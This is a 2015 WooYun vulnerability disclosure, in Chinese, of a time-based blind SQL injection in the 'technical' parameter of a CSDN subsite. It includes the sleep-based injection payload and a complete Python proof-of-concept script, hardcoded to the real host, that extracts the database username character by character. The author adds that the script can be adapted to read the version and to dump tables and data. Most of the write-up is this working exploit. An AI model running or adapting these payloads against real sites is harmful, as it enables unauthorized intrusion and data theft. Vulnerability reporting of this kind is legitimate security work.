当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116705

漏洞标题:CSDN某分站SQL盲注漏洞(附poc)

相关厂商:CSDN开发者社区

漏洞作者: 大懒

提交时间:2015-05-28 15:17

修复时间:2015-07-12 16:22

公开时间:2015-07-12 16:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-05-28: 厂商已经确认,细节仅向厂商公开
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

csdn某站基于时间mysql盲注

详细说明:

URL:http://ibmuniversity.csdn.net/m/zone/ibm/rockstack?search=%e6%90%9c%e7%b4%a2&technical=*
存在问题参数是:technical
payload:(select(0)from(select(sleep(3)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(XXXX)))v)%2b%22*/
sqlmap跑不出来,用python跑,不过这里需要修改一下payload
(select(0)from(select(sleep(3)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(if(****,sleep(XXXX),0)))v)%2b%22*/
poc如下:

# -*- coding: utf-8 -*-
#!/usr/bin/env python
#mysql_timebased.py
#version 1.0
import httplib
import urllib
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0'}
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890.@_*%'
def GetUlength():#获取当前用户长度
userlen = 0
for i in range(1,99):
err_count = 0
for j in range(3):
try:
s1 = "length(user())=%s" % i
s = "(select(0)from(select(sleep(3)))v)/*%27%2b(select(0)from(select(sleep(3)))v)%2b%27%22%2b(select(1)from(select(if("+s1+",sleep(2),0)))v)%2b%22*/"
url = '/m/zone/ibm/rockstack?search=%e6%90%9c%e7%b4%a2&technical='+s
#body = "page=20"
conn = httplib.HTTPConnection('ibmuniversity.csdn.net',timeout=4)
conn.request(method='GET',headers=headers,url=url)
conn.getresponse()
conn.close()
print '*',
except:
err_count +=1
if err_count == 3:
userlen = i
break
return userlen
def GetUser(l):#获取当前用户名
user = ''
for i in range(1,l):
for payload in payloads:
err_count = 0
#print payload
for j in range(3):
try:
s1 = "ascii(mid(lower(user()),%s,1))=%s" % (i,ord(payload))
s = "(select(0)from(select(sleep(3)))v)/*%27%2b(select(0)from(select(sleep(3)))v)%2b%27%22%2b(select(1)from(select(if("+s1+",sleep(2),0)))v)%2b%22*/"
url = '/m/zone/ibm/rockstack?search=%e6%90%9c%e7%b4%a2&technical='+s
#body = "page=20"
conn = httplib.HTTPConnection('ibmuniversity.csdn.net',timeout=4)
conn.request(method='GET',headers=headers,url=url)
conn.getresponse()
conn.close()
print '*',
except:
err_count +=1
if err_count == 3:
user += payload
print '\n[info]',user
break
return user

def main():
userlen = GetUlength()
print "user length:\n",userlen
current_user = GetUser(userlen)
print "\n CurrentUser is :",current_user
if __name__ == '__main__':
print 'mysql-timebased-sqlinjection:\n'
main()


爆出当前用户名

1.jpg


然后根据poc稍微修改下,爆出当前数据库版本信息

1.jpg


最后一个字符串是g么,不知道为什么出不来
不过看的出来版本大于5
可以使用我们熟知的测试语句继续跑表和数据

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-28 16:20

厂商回复:

尽快修复。

最新状态:

暂无


漏洞评价:

评论